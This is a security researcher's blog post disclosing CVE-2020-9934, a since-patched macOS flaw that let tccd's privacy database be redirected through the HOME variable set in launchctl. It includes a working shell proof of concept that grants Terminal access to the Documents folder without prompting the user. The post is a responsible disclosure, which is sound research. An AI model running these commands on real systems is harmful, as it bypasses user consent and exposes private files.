CVE-2020–9934: Bypassing the macOS Transparency, Consent, and Control (TCC) Framework for unauthorized access to sensitive user data

Matt Shockley
5 min readJul 27, 2020

--

Background

The Transparency, Consent, and Control (TCC) Framework is an Apple subsystem which denies installed applications access to ‘sensitive’ user data without explicit permission from the user (generally in the form of a pop-up message). While TCC also runs on iOS, this bug is restricted to the macOS variant. To learn more about how TCC works, especially with Catalina, I recommend reading this article.

TCC prompt when opening Spotify for the first time

If an application attempts to access files in a directory protected by TCC without user authorization, the file operation will fail. TCC stores these user-level entitlements in a SQLite3 database on disk at $HOME/Library/Application Support/com.apple.TCC/TCC.db Apple uses a dedicated daemon, tccd, for each logged-in user (and one system level daemon) to handle TCC requests. These daemons sit idle until they receive an access request from the OS for an application attempting to access protected data.

listing currently running TCC daemons

When the daemon receives such a request, it first checks the TCC database to see if the user has either allowed or denied access to the requested data before from this application. If so, TCC uses the previous decision; otherwise it prompts the user to choose whether to allow the application access or not. Thus, if an application can gain write access to this TCC database, it can not only give itself all TCC entitlements, but also do it without ever prompting the user.

The Bug

Obviously being able to write directly to the database completely defeats the purpose of TCC, so Apple protects this database itself with TCC and System Integrity Protection (SIP). Even a program running as root cannot modify this database unless it has the com.apple.private.tcc.manager and com.apple.rootless.storage.TCC entitlements. However, the database is still technically owned and readable/writeable by the currently running user, so as long as we can find a program with those entitlements, we can control the database.

TCC database permissions

Since the TCC daemon is directly responsible for reading and writing to the TCC database, it’s a prime candidate!

tccd entitlements

Immediately after opening the TCC daemon in Ghidra and looking for code that was related to handling database operations, I noticed something that didn’t seem right.

ghidra decompiler view of database opening code

Essentially, when the TCC daemon attempts to open the database, the program tries to directly open (or create if not already existing) the SQLite3 database at $HOME/Library/Application Support/com.apple.TCC/TCC.db While this seems inconspicuous at first, it becomes more interesting when you realize that you can control the location that the TCC daemon reads and writes to if you can control what the $HOME environment variable contains.

tricking TCC to use a non-SIP protected directory for the database

I initially dismissed this as a fun trick as the actual TCC daemon running via launchd completely ignores this database and is the only daemon the OS communicates with when doing authorization events. However, a few days later I stumbled across this Stack Exchange post and realized that since the TCC daemon is running via launchd within the current user’s domain, I could also control all environment variables passed to it when launched! Thus, I could set the $HOME environment variable in launchctl to point to a directory I control, restart the TCC daemon, and then directly modify the TCC database to give myself every TCC entitlement available without ever prompting the end user. As this doesn’t actually modify the SIP-protected TCC database, this bug also has the added benefit of completely resetting TCC to its previous state once $HOME is unset in launchctl and the daemon is restarted.

Proof of Concept

The POC for this bug is actually pretty simple and requires no code to be written.

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

I also have a full Swift (because why not) writeup available on Github.

swift POC example output

Timeline

  • 26 Feb 2020: Issue reported to the Apple Product Security Team
  • 27 Feb 2020: Apple reviews report, begins investigation into issue
  • 23 Apr 2020: Apple confirms the bug will be fixed in a future update
  • 15 Jul 2020: Apple releases patch for the bug (Security Update 2020–004)

Contact

I’m trying out this Twitter Infosec thing, so reach out to me there!

--

--